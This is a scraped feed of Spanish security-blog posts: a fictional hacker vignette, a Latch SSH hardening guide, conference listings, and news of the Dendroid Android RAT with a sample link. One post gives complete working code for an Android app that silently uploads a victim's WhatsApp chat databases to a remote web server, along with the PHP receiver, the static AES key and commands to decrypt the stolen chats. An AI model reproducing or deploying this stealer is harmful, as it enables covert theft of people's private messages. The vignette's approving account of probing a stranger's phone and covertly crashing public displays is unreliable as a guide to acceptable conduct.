Quantcast
Channel: hackplayers
Viewing all 1668 articles
Browse latest View live

Algunos estereotipos desmentidos sobre hackers

$
0
0
Siempre me he considerado un tipo normal, yo diría incluso vulgar. Nunca quise perforar los lóbulos de mis orejas para lucir un pendiente, ni tatué mi cuerpo con un símbolo sempiterno, ni siquiera me atreví nunca con un corte de pelo demasiado innovador. Hace tiempo que pasé de los treinta pero, desde que empecé a trabajar en informática hace ya muchos años, mi vestuario siempre ha sido "políticamente correcto" para una oficina: camisa, zapatos y pantalones de vestir, son cómodos y siempre mejores que un traje y la infame opresión de una corbata. Al llegar a la estación para coger el tren es fácil perderse entre la concurrencia de un andén.

Los hackers son adolescentes fanáticos de las computadoras tal vez con cierta onda punk, no trabajan y visten camisetas negras geeks.

In itinere aprovecho para terminar un capítulo de un manual técnico de Python que empecé hace unos días. Tempus Fugit. Si levanto la mirada veo un vagón lleno de títeres manejados por la sustancial necesidad de ir a trabajar, como ovejas dirigiéndose al redil, como bots sumisos a las órdenes de su servidor de comando y control. Si miro mi reflejo sobre el cristal del tren al atravesar la oscuridad de un túnel, sólo veo uno más. Ni el hip hop de Riot Propaganda retumbando en mis auriculares, ni las bochornosas noticias de corrupción de un periódico que alguien dejó en el asiento de atrás, ni eso consigue crisparme lo suficiente para apartarme de en lo que ahora estoy inmerso.

Los hackers usan herramientas digitales ilegales o legalmente ambiguas siempre persiguiendo fines políticos (hacktivismo).


Despliego la tapa de mi portátil, arranco una máquina virtual con Kali y ejecuto btscanner para que mi dispositivo Bluetooth empiece a sondear un radio aproximado de diez metros con un latido de apenas 2,4 nanosegundos. Sólo parpadeo y en seguida se presenta GT-S6310N, un smartphone Galaxy Young que reconozco rápidamente en manos de la chica con gafas de cristales crasos y cara de buena persona que tengo en frente y que justo ahora está ensimismada en una partida de Candy Crush. Llega mi parada pero antes de bajarme preparo el mensaje que se le mostrará en un minuto: "no deberías activar Bluetooth si no lo estás utilizando, revisa la configuración de tu móvil".

Los hackers son sujetos peligrosos que, armados únicamente de su computadora, roban datos personales y bancarios para lucrarse u obtener otros beneficios propios.

Ya en la oficina, saboreando el agua sucia que muchos llaman café de máquina analizo una de las muestras de un bot escrito en Visual Basic Script. Los cocineros de malware dirigen la mayoría de sus esfuerzos a desarrollar artefactos para el sistema operativo más extendido en puestos de usuario, simple economía de escala. Lo cierto es que la inmensa mayoría se circunscriben a la plataforma Windows por lo que, lejos de pretender centrarme en un único sistema operativo, siempre intento no ignorar al diablo...

Los hackers no usan Windows. Para un hacker, trabajar en Windows es como tratar de bailar con el cuerpo escayolado. Los sistemas operativos OpenBSD, NetBSD, FreeBSD, Linux, BeOS, Hurd, MicroBSD son usados (y permanentemente mejorados) por los hackers. Los verdaderos hackers no dependen de Windows para ninguna cosa.

... y en este caso su autor tampoco puso el mismo empeño que Heisenberg en preparar metanfetaminas, así que fue relativamente sencillo desmenuzarlo y reconstruir los hechos para el informe pericial. Lo demás es un retumbar de las palabras de Yago "una profesión como otra cualquiera, con sus partes buenas (que las tiene, y muchas) y sus partes aburridas, llenas de reuniones, documentación y hasta jefes incompetentes.". Así que trato de escupir palabras para la comprensión e interpretación por parte de lectores que no son especialistas en la materia, aprieto el nudo de mi corbata y entro en la sala de reuniones para una tediosa y densa puesta al día.

Los hackers viven al límite por la búsqueda continua de nuevos retos que transgreden intencionadamente la legalidad. Siempre andan jugando y divirtiéndose en un mundo loco de desenfreno virtual y desafío constante.


Al menos mañana tengo oportunidad de escaparme a la Rooted. El desconocimiento nos empuja a la curiosidad y a la fascinación y este congreso de seguridad es sin duda una cita ineludible en cada edición, una referencia en el panorama underground en español, una manera de descubrir y divertirse, también una oportunidad de poner caras donde antes sólo había avatares pixelados y, cómo no, reencontrarte con compañeros y viejos amigos. Miro al reloj de mi barra de tareas y vuelve a evidenciar que debía haber salido hace ya muchos minutos, así que agarro mi mochila y vuelo raudo. Libertad.

Los hackers son seres carentes de vida social que, de noche en sus habitaciones desordenadas, se sumergen en Internet para atacar e intentar comprometer otros sistemas.

 
Muchos tienden a pensar que lo nuevo es siempre mejor sólo por ser nuevo. Yo seguía utilizando algunos canales del IRC para comunicarme con una comunidad de inquietos de la que sólo conocía sus dudas y encomiendas. Cronos era uno de ellos y desde hace unos meses trabajaba voluntariamente en analizar la seguridad informática de la línea de transporte de Cercanías. Desconozco si era una obsesión, pero seguro que detrás de su análisis había cientos de horas de investigación. Hoy era el día y la hora que quería mostrar el resultado de su ensayo y para comprobarlo sólo tenía que alzar la vista al enorme pantalla multi monitor de la estación. En unos segundos apareció el tenue azul del pantallazo de la muerte.
  

Los hackers son megaexpertos que sin apenas esfuerzo y sacrificio manejan a su antojo las computadoras y hacen cosas como por arte de magia.

Nunca nadie sabrá que ocurrió exactamente aquel día en la estación. Lo atribuirán a un fallo puntual del sistema operativo. Cronos orquestó toda la función al detalle y fue extremadamente minucioso en su cometido. Barrió cada una de sus huellas digitales y al reiniciar el último dispositivo, los datos de la memoria volátil desaparecieron junto con el último atisbo de su identidad. Días después renacería en cualquier otro lugar con cualquier otro nombre.

Los hackers buscan notoriedad con virus malvados que antes de ejecutar sus acciones muestran un dibujo riéndose.

Securizando openssh MODE PARANOICO 2ª parte (rizando el rizo con Latch)

$
0
0
Con el fin de completar nuestro pasado artículo,
securizando openssh MODE PARANOICO en el que vimos como securizar el servicio SSH en nuestro servidor, en esta entrada vamos a ver cómo aplicar otra capa de seguridad a nuestra particular"cebolla";
para eso echamos mano de una recién nacida aplicación  de Eleven Paths de la cual ya hablamos en nuestro blog.

Latch es un servicio ofrecido por la empresa de seguridad española Eleven Paths, el cual actúa a modo de "pestillo" de nuestras identidades digitales.

Esto nos permite que, por ejemplo, en el caso que alguien obtenga nuestro nombre de usuario y contraseña de algún servicio digital, poder evitar que esa persona se haga pasar por nosotros simplemente "cerrando el pestillo" desde nuestra cuenta de Latch.

También podemos hacer que cuando no estemos usando una cuenta, su acceso esté deshabilitado, y solo se active cuando nosotros deseemos utilizarla.

Para más información:
WEB OFICIAL DE LATCH

Tras este breve copy&paste vamos al turrón.
 
Lo que vamos a hacer, simplificando al máximo la explicación, es mediante nuestro móvil apagar y encender el servicio, de manera que tendremos un control absoluto sobre cuando se puede acceder al servicio, reforzando mucho mas la seguridad y sin tener que tener acceso físico al servidor.
En serio que suena mas complicado de lo que es ...sinceramente me he quedado con las patas vueltas al ver lo fácil que resulta implementarlo...
 

Crear la aplicación en el server de Latch


Lo primero que necesitamos es tener un número de identificación de aplicación (APPLICATION ID) y lo segundo una clave secreta (secret)
Para ello deberemos registrarnos en latch.elevenpaths.com/ developers area.Tras cumplimentar el registro y loggearnos entraremos en'my applications' y crearemos una nueva.

Una vez cumplimentada la información salvaremos los cambios...

En este paso obtenemos el APPLICATION ID y EL SECRET que necesitaremos mas tarde...
 

Emparejando nuestra cuenta

 
Ahora hay que emparejar nuestra cuenta de usuario de SSH con nuestra aplicación en LATCH. Para ello nos serviremos del script escrito por Alejandro Ramos de SecurityByDefault.
Primero y para ser ordenados nos colocaremos en el directorio HOME y crearemos una carpeta llamada LATCH y copiaremos el código del script en reg.sh, pondremos nuestro APLICATION ID y SECRET donde corresponda (sustituyendo las XXXXX) y guardaremos, para terminar dando permisos de ejecución al script.

cd /home
mkdir LATCH
nano reg.sh
Podemos encontrar el código aquí.
Ahora nos bajaremos el cliente de Latch en la versión que corresponda  a nuestro terminal:

-ANDROID PHONE                        
-APPLE PHONE                          
 -WINDOWS PHONE

Tras instalarla y configurarla añadiremos un nuevo servicio, para esto solo tendremos que darle al botón de "Add Service", y posteriormente al de "Generate a pairing code", tras lo cual nos dará un código de emparejamiento.


Ejecutaremos:
./reg.sh <codigo de emparejamiento>

y si todo ha ido bien recibiremos un bonito DONE, lo que querrá decir que se habrán guardado  los pares usuario:token en /home/LATCH/latch.accounts.

Podremos pasar al siguiente paso.
 

Configurando el servicio ssh

 
Una vez emparejado el asunto, lo que deberemos hacer es que nuestro demonio sshd se comporte como nosotros esperamos... es decir, cuando el cliente se conecte comprobará si el servicio está desbloqueado en Latch o por el contrario bloqueado, para ésto volveremos a utilizar el script que nos ofrece DEXAFREE al cual añadiremos una línea, puesto que si lo utilizamos como está y bloqueamos el servicio y lo desbloqueamos después, este no vuelve a levantarse teniendo que hacerlo a mano... 

Para ello copiaremos el script de aquí y lo modificaremos con nano añadiendo la línea que se ve en la imagen.
 
Ahora como en la primera parte sustituiremos el APPLICATIONID Y el SECRET por los nuestros, guardaremos el archivo con el nombre stat.sh y le daremos permisos de ejecución.

Para que se compruebe el estado de Latch cada vez que el usuario inicie sesión por SSH tendremos que hacer que se ejecute stat.sh. Para ello hay que modificar el archivo .bashrc  del usuario por defecto  y añadir la siguiente línea:

cd /root
nano  ./bashrc
y al final del archivo añadir la línea:

/home/LATCH/./stat.sh

Ya solo quedaría reiniciar la máquina y habríamos terminado.


Viendo todo el proceso ¿¿no se os ocurren más formas y cosas para utilizar Latch con solo un par de cambios en los scripts??

Un saludo, Manuel
sed buenos ;D

bWAPP: una aplicación web extremadamente insegura para practicar

$
0
0
bWAPP, o una aplicación web con errores (buggy web application), es una aplicación web deliberadamente insegura.


bWAPP ayuda a entusiastas de la seguridad, desarrolladores y estudiantes a descubrir y prevenir vulnerabilidades web. bWAPP prepara para llevar a cabo pruebas de intrusión y proyectos de hacking ético
con éxito.

Pero ¿qué hace bWAPP tan único? Bueno, tiene más de 60 bugs web! Cubre todas las principales vulnerabilidades web conocidas, incluyendo todos los riesgos del proyecto OWASP Top 10.

bWAPP es una aplicación PHP que utiliza una base de datos MySQL. Puede ser alojada en Linux y Windows utilizando Apache/IIS y MySQL. Se puede instalar con WAMP o XAMPP.

Otra posibilidad es descargar bee-box, una VM personalizada pre-instalada con bWAPP.

Este proyecto es parte del proyecto ITSEC GAMES. ITSEC GAMES es un enfoque divertido para la educación de TI de seguridad. Seguridad informática, hacking ético, la formación y la diversión ... todo mezclado.

Web del proyecto: http://sourceforge.net/projects/bwapp/

Empieza la #Rooted2014 !

$
0
0
Mañana comienzan las conferencias de la quinta edición de la Rooted CON que este año tiene como principales novedades su traslado al Hotel Auditórium Madrid y la participación de algunos ponentes internacionales que impartirán charlas con traducción simultánea (para quien la necesite claro).

Ya se han impartido los RootedLabs y hay ganadores de la RootedArena (enhorabuena w0pr, dcua y pADAwan). Está todo preparado, los patrocinadores, el RootedPanel, el Bootcamp de Corelan y hasta un concierto de A Medias en la Sala LASAL... ¡nos vemos en la Rooted!



Jueves, 6 de Marzo de 2014
10:15 - 10:30Organización RootedCON
Inauguración Rooted CON 2014
10:30 - 11:00Francisco Jesús Gómez & Carlos Juan Diaz
Sinfonier: Storm Builder for Security Investigations
11:00 - 11:30Alfonso Muñoz
Ocultación de comunicaciones en lenguaje natural
11:30 - 12:00Pau Oliva
Bypassing wifi pay-walls with Android
12:00 - 12:30DESCANSO
12:30 - 13:30Antonio Ramos
Agilidad. La via a la seguridad
13:30 - 15:30DESCANSO
15:30 - 16:30Raj Shah
The Kill Chain: A day in the life of an APT
16:30 - 17:20Pablo González & Juan Antonio Calles
Cyberwar: Looking for... touchdown!
17:20 - 17:30DESCANSO
17:30 - 18:20Alberto Cita
Skype sin Levita. Un análisis de seguridad y privacidad
18:20 - 19:10Jorge Bermúdez
Los hackers son de Marte, los jueces son de Venus
19:10 - 20:00RootedPanel I: Ciberarmas


Viernes, 7 de Marzo de 2014
10:00 - 11:00Jose Luis Verdeguer & Victor Seva
Secure Communications System
11:00 - 12:00Joaquín Moreno Garijo
Forense a bajo nivel en Mac OS X
12:00 - 12:30DESCANSO
12:30 - 13:00Jorge Ramió
RSA cumple 36 años y se le ha caducado el carné joven
13:00 - 14:00José Luis Quintero & Felix Estrada
Ciberguerra. De Juegos de Guerra a La Jungla 4
14:00 - 15:30DESCANSO
15:30 - 16:30Jeremy Brown & David Seidman
Microsoft Vulnerability Research: How to be a finder as a vendor
16:30 - 17:20Chema Alonso
Playing and Hacking with Digital Latches
17:20 - 17:30DESCANSO
17:30 - 17:50Miguel Tarasco
Análisis WiFi de forma nativa en Windows
17:50 - 18:20Andrés Tarasco
Ataques dirigidos con APTs Wi-Fi
18:20 - 19:10Roberto Baratta
Monetización de seguridad: de más con menos a más con nada
19:10 - 20:00Cesar Lorenzana & Javier Rodriguez
Por qué lo llaman APT´s cuando lo que quieren decir es dinero



Sábado, 8 de Marzo de 2014
10:00 - 11:00Manu Quintans & Frank Ruiz
50 shades of crimeware
11:00 - 12:00Hugo Teso
Profundizando en la seguridad de la aviación
12:00 - 12:30DESCANSO
12:30 - 13:30José Pico & David Perez
Atacando 3G
13:30 - 14:00Borja Berástegui
Handware hacking
Si hay un 'input' hay peligro
14:00 - 15:30DESCANSO
15:30 - 16:30Juan Vazquez & Julián Vilas
Tú a Boston Barcelona y yo a California Tejas. A patadas con mi SCADA!
16:30 - 17:20Aladdin Gurbanov
Magnetic Road
17:20 - 17:30DESCANSO
17:30 - 18:20Raúl Siles
iOS: Regreso al futuro
18:20 - 19:10Jaime Sánchez & Pablo San Emeterio
WhatsApp: mentiras y cintas de video
19:10 - 20:00Organización RootedCON
Entrega de Premios V Aniversario y clausura Rooted CON 2014

Recomendaciones: Torrescrack

$
0
0
Hoy vamos a recomendaros un sitio donde podréis encontrar temas interesantes en el área de la ingeniería inversa con algunos artículos en el blog que nos comparte Alejandro Torres también conocido como Torrescrack:


En el blog de Torrescrack vas a encontrar diferentes enlaces a tutoriales con diversa información sobre temas de reversing como son: análisis de malware, curso gratuito (modo tutorial) de desarrollo de malware, cracking, iniciación a retos de cracking y próximamente artículos de exploiting.

Un buen blog para practicar tus habilidades de reversing y aprender más del tema, leer sobre algunas investigaciones interesantes que irán publicando sobre la marcha.

También podéis seguirlo desde Twitter o Facebook:


https://www.facebook.com/yo.torrescrack
https://twitter.com/TorresCrack248


En lo que respecta a tutoriales, Alex ha escrito algunas cosas interesantes en blogs como elladodelmal, hackingmexico o crackslatinos:


           (publicados en "elladodelmal" blog de chema alonso)
    Loader Simple: Acceder al binario descifrado en memoria
                 (publicados en HackingMexico)
        crackeando acunetix v9 (themida-inlinepatch) – l
        soluciones-del-primer-reto-cracking
        Reto cracking (crackme) nivel - 0
        Desarrollo de malware desde cero - 3
        Desarrollo de malware desde cero - 2
        Desarrollo de malware desde cero – 1
        desarrollo de malware desde cero – 0
        Hackeando el p0rn0 de mexico – HISTORIA DEL MAL
        Reversing/cracking en Windows X64
        Ser hacker? Iniciarse?
        Reversing android applications parte 0 de ?..
        Reversing SKYPE (BUENO Y MALO)
        Reventando malwarebytes..
                   (publicados - mi blog)
          Unpacking Visual Protect 3.5.4
          Rompiendo proteccion de p-code + dongle hardkey
           Malware Analysis (policia federal) part I
          Resolviendo el reto .NET Themida de Lastdragon
          Reverseando al ESET 32 antivirus (parte I)
          Teoria #2 (alex), tecnica para cazar contraseñas de aplicaciones .NET con olly
          Crackeando Acunetix-V8 2012 
          Soluciones al concurso #8 Crackslatinos
          Análisis de seguridad abarrotes (winlicense)
            En definitiva si te interesa el mundo loco del reversing, recomendamos que te des una vuelta por el blog y estés pendiente de las actualizaciones por sus redes sociales a la espera de nuevas publicaciones.

            Y si tú también tienes un sitio que quieres que conozcamos o deseas publicar aquí tu post no lo dudes yparticipa :)

            Dendroid: troyaniza cualquier app de Google Play por menos de 300 euros

            $
            0
            0
            La comunidad anda algo revuelta porque en algunos foros underground un tal 'Soccer' ha ofrecido una herramienta para Android que por sólo 300 dólares (pagables a través de monedas no rastreables como Bitcoin) troyaniza cualquier app en sencillos pasos, incluye soporte 24x7, un avanzado panel de control en PHP y sobretodo permite evadir el bouncer de Google Play.
            Conocido como Dendroid, este nuevo RAT descubierto inicialmente por Symantec se vende como un "APK Binder" que puede utilizar cualquier aplicación original de Android e incorporar su propio malware, es decir, la carga útil del troyano. Después de distribuir la aplicación infectada, los clientes del RAT de Dendroid pueden controlar la propagación de la infección a través de herramientas basadas en la web.



            Los dispositivos android infectados se convierten en zombies controlados remotamente por el autor, lo que permite un acceso prácticamente ilimitado a las fotos, los datos y los mensajes en el dispositivo. Dendroid proporciona también acceso completo a la cámara y el micrófono, y puede realizar llamadas o escuchar las conversaciones telefónicas de un usuario o ver los mensajes de texto.

            Según la firma de seguridad Lookout, "entre sus numerosas características, Dendroid cuenta con algunos códigos relativamente simples - pero inusuales - de detección de anti-emulación que ayudan a evadir la detección por parte del Bouncer, el sistema de detección anti-malware de Google para su tienda oficial."


            Parece que este troyano tiene cierta relación con la anterior herramienta AndroRAT ya que en algunos mensajes de asistencia se han remitido mensajes relacionados con el anterior malware. ¿Te apetece analizarlo? descarga la muestra (Tim Strazzere): contagiominidump.blogspot.com.es/2014/03/dendroid-android-spyware.html

            Fuentes:
            - Dendroid RAT: the Next Stage of Android Malware Evolution
            - New Android "RAT" infects Google Play apps, turning phones into spyware zombies
            - Saboteurs slip Dendroid RAT into Google Play
            - New crimeware tool Dendroid makes it easier to create Android malware, researchers warn
            - New Dendroid Malware for Android Providing Complete Control over the Smartphone

            Aplicación Android para robar y leer chats de WhatsApp en Android (PoC)

            $
            0
            0
            ¿Es posible subir y leer los chats de Whatsapp de un smartphone desde otra aplicación de Android? Por supuesto que sí. Sólo necesitamos que la aplicación maliciosa haya sido instalada aceptando los permisos para leer la tarjeta SD del dispositivo (android.permission.READ_EXTERNAL_STORAGE).

            Hace unos meses se publicó en algunos foros una guía paso a paso para montar nuestro propio Whatsapp Stealer y ahora Bas Bosschert ha publicado una PoC con unas pocas modificaciones.

            Para empezar con la prueba de concepto (y ojo que digo PoC que nos conocemos ;)) tenemos que publicar en nuestro webserver un php para subir las bases de datos de Whatsapp:

            <?php
            // Upload script to upload Whatsapp database
            // This script is for testing purposes only.
             
            $uploaddir = "/tmp/whatsapp/";
             
            if ($_FILES["file"]["error"] > 0)
              {
              echo "Error: " . $_FILES["file"]["error"] . "<br>";
              }
            else
              {
              echo "Upload: " . $_FILES["file"]["name"] . "<br>";
              echo "Type: " . $_FILES["file"]["type"] . "<br>";
              echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
              echo "Stored in: " . $_FILES["file"]["tmp_name"];
             
              $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']);
              move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
              }
            ?>
             
            <html><head><title>Shoo.. nothing here</title></head><body><form method="post" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Submit"></form></body></html>

            Después debemos configurar nuestro php.ini para subir ficheros grandes:

            ...
            file_uploads = On
            post_max_size = 32M
            upload_max_filesize = 32M

            Lo siguiente que necesitamos es crear la aplicación de Android que suba los ficheros de la base de datos de WhatsApp hacia el servidor web. Para ello creamos un proyecto en Eclipse y empezamos modificando el fichero AndroidManifest.xml para solicitar los permisos para leer la tarjeta SD e Internet:

            <?xml version="1.0" encoding="utf-8"?>
            <manifest xmlns:android="http://schemas.android.com/apk/res/android"
                package="bb.security.whatsappupload"
                android:versionCode="1"
                android:versionName="1.0">
             
                <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
                <uses-permission android:name="android.permission.INTERNET" />

             
                <uses-sdk
                    android:minSdkVersion="8"
                    android:targetSdkVersion="19" />
             
                <application
                    android:allowBackup="true"
                    android:icon="@drawable/ic_launcher"
                    android:label="@string/app_name"
                    android:theme="@style/AppTheme">
             
                    <activity
                        android:name="bb.security.whatsappupload.MainActivity"
                        android:label="@string/app_name">
                        <intent-filter>
                            <action android:name="android.intent.action.MAIN" />
             
                            <category android:name="android.intent.category.LAUNCHER" />
                        </intent-filter>
                    </activity>
                </application>
             
            </manifest>

            Para la disposición podemos utilizar el diseño predeterminado que crea Eclipse, si acaso podemos mover el TextView al centro y aumentar el tamaño del texto. La subida del fichero ocurre antes de ver el layout, para esta prueba de concepto de este activity_main.xml es lo suficientemente bueno:

            <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
                xmlns:tools="http://schemas.android.com/tools"
                android:layout_width="match_parent"
                android:layout_height="match_parent"
                android:paddingBottom="@dimen/activity_vertical_margin"
                android:paddingLeft="@dimen/activity_horizontal_margin"
                android:paddingRight="@dimen/activity_horizontal_margin"
                android:paddingTop="@dimen/activity_vertical_margin"
                tools:context=".MainActivity">
             
                <TextView
                    android:layout_width="wrap_content"
                    android:layout_height="wrap_content"
                    android:layout_alignParentTop="true"
                    android:layout_centerHorizontal="true"
                    android:layout_marginTop="179dp"
                    android:text="@string/hello_world"
                    android:textSize="24sp" />
             
            </RelativeLayout>

            A continuación tenemos que crear la función MainActivity.java para subir cada uno de los ficheros:

                - /WhatsApp/Databases/msgstore.db
                - /WhatsApp/Databases/wa.db
                - /WhatsApp/Databases/msgstore.db.crypt

            package bb.security.whatsappupload;
             
            /*
            * This application is for testing purposes only.
            * Use of this application is at your own risk.
            */
             
            import java.io.DataInputStream;
            import java.io.DataOutputStream;
            import java.io.File;
            import java.io.FileInputStream;
            import java.io.IOException;
            import java.net.HttpURLConnection;
            import java.net.MalformedURLException;
            import java.net.URL;
             
            import android.os.AsyncTask;
            import android.os.Bundle;
            import android.os.Environment;
            import android.app.Activity;
            import android.app.ProgressDialog;
            import android.util.Log;
            import android.view.Menu;
             
            public class MainActivity extends Activity {
             
                //A ProgressDialog object
                private ProgressDialog progressDialog;
             
                @Override
                protected void onCreate(Bundle savedInstanceState) {
                    super.onCreate(savedInstanceState);
                    setContentView(R.layout.activity_main);
                    new UploadWhatsApp().execute();
                }
             
                @Override
                public boolean onCreateOptionsMenu(Menu menu) {
                    // Inflate the menu; this adds items to the action bar if it is present.
                    getMenuInflater().inflate(R.menu.main, menu);
                    return true;
                }
             
                @SuppressWarnings("deprecation")
                private void uploadFile(String file) {
                    HttpURLConnection conn = null;
                    DataOutputStream dos = null;
                    DataInputStream inStream = null;
             
                    Log.i("FILE", "Filename:\n" + file);
             
                    String lineEnd = "\r\n";
                    String twoHyphens = "--";
                    String boundary = "*****";
                    int bytesRead, bytesAvailable, bufferSize;
                    byte[] buffer;
                    int maxBufferSize = 1 * 1024 * 1024 * 1024;
                    String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php";
                    try {
                        //     ------------------ CLIENT REQUEST
                        FileInputStream fileInputStream = new FileInputStream(new File(
                                file));
                        // open a URL connection to the Servlet
                        URL url = new URL(urlString);
                        // Open a HTTP connection to the URL
                        conn = (HttpURLConnection) url.openConnection();
                        // Allow Inputs
                        conn.setDoInput(true);
                        // Allow Outputs
                        conn.setDoOutput(true);
                        // Don't use a cached copy.
                        conn.setUseCaches(false);
                        // Use a post method.
                        conn.setRequestMethod("POST");
                        conn.setRequestProperty("Connection", "Keep-Alive");
                        conn.setRequestProperty("Content-Type",
                                "multipart/form-data;boundary=" + boundary);
                        dos = new DataOutputStream(conn.getOutputStream());
                        dos.writeBytes(twoHyphens + boundary + lineEnd);
                        dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\""
                                + file + "\"" + lineEnd);
                        dos.writeBytes(lineEnd);
                        // create a buffer of maximum size
                        bytesAvailable = fileInputStream.available();
                        bufferSize = Math.min(bytesAvailable, maxBufferSize);
                        buffer = new byte[bufferSize];
                        // read file and write it into form...
                        bytesRead = fileInputStream.read(buffer, 0, bufferSize);
                        while (bytesRead > 0) {
                            dos.write(buffer, 0, bufferSize);
                            bytesAvailable = fileInputStream.available();
                            bufferSize = Math.min(bytesAvailable, maxBufferSize);
                            bytesRead = fileInputStream.read(buffer, 0, bufferSize);
                        }
                        // send multipart form data necesssary after file data...
                        dos.writeBytes(lineEnd);
                        dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
                        // close streams
                        Log.e("Debug", "File is written");
                        fileInputStream.close();
                        dos.flush();
                        dos.close();
                    } catch (MalformedURLException ex) {
                        Log.e("Debug", "error: " + ex.getMessage(), ex);
                    } catch (IOException ioe) {
                        Log.e("Debug", "error: " + ioe.getMessage(), ioe);
                    }
                    // ------------------ read the SERVER RESPONSE
                    try {
                        if (conn != null){
                            inStream = new DataInputStream(conn.getInputStream());
                            String str;
             
                            while ((str = inStream.readLine()) != null) {
                                Log.e("Debug", "Server Response " + str);
                            }
                            inStream.close();
                        }
             
                    } catch (IOException ioex) {
                        Log.e("Debug", "error: " + ioex.getMessage(), ioex);
                    }
                }
             
                private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{
             
                    @Override
                    protected void onPreExecute()
                    {
                        //Create a new progress dialog
                        progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...",
                                "Loading, please wait...", false, false);
                    }
             
                    //The code to be executed in a background thread.
                    @Override
                    protected Void doInBackground(Void... params)
                    {
             
                        String fileWACrypt = Environment.getExternalStorageDirectory()
                                .getPath() + "/WhatsApp/Databases/msgstore.db.crypt";
                        String fileWAPlain = Environment.getExternalStorageDirectory()
                                .getPath() + "/WhatsApp/Databases/msgstore.db";
                        String fileWAwa = Environment.getExternalStorageDirectory()
                                .getPath() + "/WhatsApp/Databases/wa.db";
             
                        MainActivity.this.uploadFile(fileWACrypt);
                        MainActivity.this.uploadFile(fileWAPlain);
                        MainActivity.this.uploadFile(fileWAwa);
                        return null;
                    }
             
                    //Update the progress
                    @Override
                    protected void onProgressUpdate(Integer... values)
                    {
                        //set the current progress of the progress dialog
                        progressDialog.setProgress(values[0]);
                    }
             
                    //after executing the code in the thread
                    @Override
                    protected void onPostExecute(Void result)
                    {
                        //close the progress dialog
                        progressDialog.dismiss();
                        //initialize the View
                        setContentView(R.layout.activity_main);
                    }
             
                }
            }
               
            msgstore.db y wa.db son bases de datos sin cifrar utilizados en antiguas versiones de Whatsapp. Msgstore.db.crypt está cifrado con AES, pero siempre usando la misma clave tanto para cifrar como descifrar: 346a23652a46392b4d73257c67317e352e3372482177652c.

            Por lo tanto podremos descifrarla una vez obtenido mediante:

            openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c

            o mediante el siguiente script en Python:

            #!/usr/bin/env python
             
            import sys
            from Crypto.Cipher import AES
             
            try:
                wafile=sys.argv[1]
            except:
                print "Usage: %s <msgstore.db.crypt>" % __file__
                sys.exit(1)
             
            key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
            cipher = AES.new(key,1)
            open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))
             
            Y ya está, así de sencillo. Podremos estar leyendo los chats de WhatsApp de las bases de datos extraídas...

            El CCI crea un juego de mesa sobre ciberseguridad (yet another cyber WTF)

            $
            0
            0
            El Centro de Ciberseguridad Industrial español ha creado un juego de mesa de C*berseguridad (sí habéis oído bien), donde cada jugador asumirá el papel de un investigador que debe utilizar sus facultades de deducción para descubrir dónde, cómo, por qué y quién ha provocado un incidente que ha paralizado una planta industrial.

            Este juego llamado Ciber Sospecha pretende servir como una herramienta profesional de concienciación y formación en cib3rseguridad para Proveedores, Administradores y Usuarios de los Sistemas de Operación industrial y los Sistemas de Información Corporativos, pero ha sido especialmente diseñado para sensibilizar a los Directivos de las organizaciones.

            Que queréis que os diga, o no veo a un director o consejero jugando a este juego en casa con sus hijos, pero quizás tendría buena cabida en un taller o seminario de esos que les gusta organizar a los departamentos de RRHH (una partida suele durar entre 30 y 50 minutos y permite de 3 a 8 jugadores).

            El juego estará disponible el próximo 25 de marzo, aunque ya puede reservarse. Contiene un tablero de 60x60 cm, un manual de usuario, notas de investigación, las tarjetas, las piezas de juego, dados y un sobre confidencial.

            El objetivo es ser el primero en descubrir, a través de la deducción y la eliminación, en un tiempo máximo establecido por los jugadores de la partida, a la persona que ha causado el incidente de c1berseguridad que paralizó el proceso automatizado de una planta industrial, y también en cual de las ubicaciones de la planta o el cib*respacio se originó, así como qué vulnerabilidades y amenazas eran las empleadas.

            Cuanto menos nos ha parecido curioso, así que acá os dejamos el enlace:

            http://www.cci-es.org/web/cci/detalle-evento/-/journal_content/56/10694/58103

            QwikMark: una pequeña pero útil herramienta de benchmarking para tu PC

            $
            0
            0
            ¿Alguna vez has querido comparar la velocidad relativa de 2 o más PCs? ¿O tal vez estas a punto de reemplazar tú disco duro por un SSD y deseas comprobar que el nuevo dispositivo es realmente más rápido? Si es así, necesitarás algún programa de benchmarking (evaluación comparativa) de PC , y uno bastante interesante, pequeño y sencillo es Qwikmark.

            Qwikmark ocupa sólo 0.08 MB (sí, en torno a 80 KB) y lo puedes obtener en http://www.vtaskstudio.com/support.php (tercer elemento de la página ). Es gratis, portátil y libre de virus según Web of Trust y VirusTotal. Basta con descargarlo y ejecutarlo, y luego probar cada uno de sus cuatro tests. Podrás conocer rápidamente la velocidad de la CPU en megahertz y megaflops, así como la velocidad de la memoria RAM y del disco duro al transferir datos.


            Fuente:A Really Simple PC Benchmarking Utility

            Comprometiendo sistemas Android (2ª parte)

            $
            0
            0
            La semana pasada leímos la siguiente noticia y "leo" textualmente:

            Hispasec: "Hace unos días, Metasploit añadió un módulo para aprovechar una vulnerabilidad en el sistema operativo para móviles Android. El exploit, desarrollado por los investigadores Joe Vennix (@joevennix) y Josh Drake
            (@jduck), permite obtener el
            control del sistema con tan solo visitar una página web manipulada especialmente.
            La vulnerabilidad afectaría en principio a las versiones anteriores a la 4.2 (Jelly Bean), publicada a finales de octubre de 2012. No obstante, para observar el comportamiento de la vulnerabilidad sobre la miríada de versiones parcheadas por los fabricantes dejaron colgada una prueba de concepto abierta a todo aquel que quisiera (y se fiara) comprobar si su sistema era o no vulnerable."

            Como es normal llamó mi atención y me puse manos a la obra ya que me viene al pelo para seguir con esta serie de posts...

